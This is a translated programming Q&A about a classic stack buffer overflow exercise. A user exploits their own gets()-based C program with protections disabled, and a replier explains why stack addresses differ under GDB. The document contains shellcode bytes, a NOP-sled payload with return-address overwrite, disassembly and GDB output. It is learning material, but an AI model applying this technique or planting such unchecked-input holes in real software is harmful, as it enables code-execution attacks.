前几天我编写了一个简单的代码来测试x86系统上的缓冲区溢出漏洞。为了保持简单,我禁用了ASLR和NX,因此没有可能导致奇怪行为的保护。
这是我要利用的C代码:
#include <stdio.h>
void read_txt(){
char txt[64];
printf("Write something:");
gets(txt);
}
int main(){
read_txt();
return 0;
}
我还编写了自己的shellcode,只打印一个字符串。据我所知,有效载荷应该是这样的,用NOP指令+ shellcode填充缓冲区,添加0x41414141(AAAA)来覆盖EBP寄存器,最后我用一个指向NOP中间的地址覆盖返回地址。 / p>
实际上它不起作用,我的有效载荷如下:
[1-\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x68\x20\x3b\x29\x20\x68\x68\x73\x65\x63\x68\x20\x48\x69\x67\x68\x48\x6f\x6c\x61\x89\xe1\xb2\x0f\xcd\x80\xb0\x01\x31\xdb][2-\x41\x41\x41\x41][3-\x89\xf4\xff\xbf][4-\x89\xf4\xff\xbf]
1- NOPs + Shellcode = 60bytes
2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)
3- Address to override EBP (In the middle of NOPs)
4- Overrides Return Address
这个漏洞可以在gdb上运行但是如果我将有效负载直接传递给程序就会失败,我认为问题是在程序执行gets()函数之前,disasembler显示 leave 指令它将esp指向ebp并导致错误。
这是read_txt()函数的反汇编:
0x0804844c <+0>: push %ebp
0x0804844d <+1>: mov %esp,%ebp
0x0804844f <+3>: sub $0x44,%esp
0x08048452 <+6>: movl $0x8048510,(%esp)
0x08048459 <+13>: call 0x8048320 <printf@plt>
0x0804845e <+18>: lea -0x40(%ebp),%eax
0x08048461 <+21>: mov %eax,(%esp)
0x08048464 <+24>: call 0x8048330 <gets@plt>
0x08048469 <+29>: leave
0x0804846a <+30>: ret
这是在GDB上执行漏洞利用:
(gdb) x/20x $esp
0xbffff47c: 0xbffff480 0x90909090 0x90909090 0x90909090
0xbffff48c: 0x90909090 0xc0319090 0xc931db31 0x04b0d231
0xbffff49c: 0x206801b3 0x6820293b 0x63657368 0x69482068
0xbffff4ac: 0x6f486867 0xe189616c 0x80cd0fb2 0xdb3101b0
0xbffff4bc: 0x41414141 0xbffff489 0xbffff489 0xbffff500
(gdb) s
Warning:
Cannot insert breakpoint 0.
Error accessing memory address 0x90909090: I/O Error.
0xbffff489 in ?? ()
(gdb) c
Continuing.
Shellcode Executed
Program received signal SIGSEGV, Segmentation fault.
0xbffff4b9 in ?? ()
(gdb)
请注意,EBP指向0x90909090,因为它具有覆盖返回地址的相同地址,并且还注意到字符串 Shellcode Executed ,即有效负载中包含的shellcode。
我的问题是,在将返回地址指向NOP幻灯片之前,我可以在哪里指出EBP以避免此问题?另外作为次要问题,为什么我不能用NOP + Shellcode填充64bytes缓冲区?
问候。
答案 0 :(得分:0)
我知道自从提出这个特定问题已经2年了,即使我遇到同样的问题,我的有效负载在gdb中正常工作但是当我直接运行它时它失败了。 原因是当您通过GDB运行程序时,会创建两个环境变量,这些变量又会在内存中创建一个偏移量。 因此,如果你的返回地址[通过使用GDB获得]是 RET ,那么在直接执行它时,返回地址是 RET + offset ,它应该可以正常工作。
或者通过GDB运行它可以防止环境变量被推送到堆栈 希望这有助于面临同样问题的人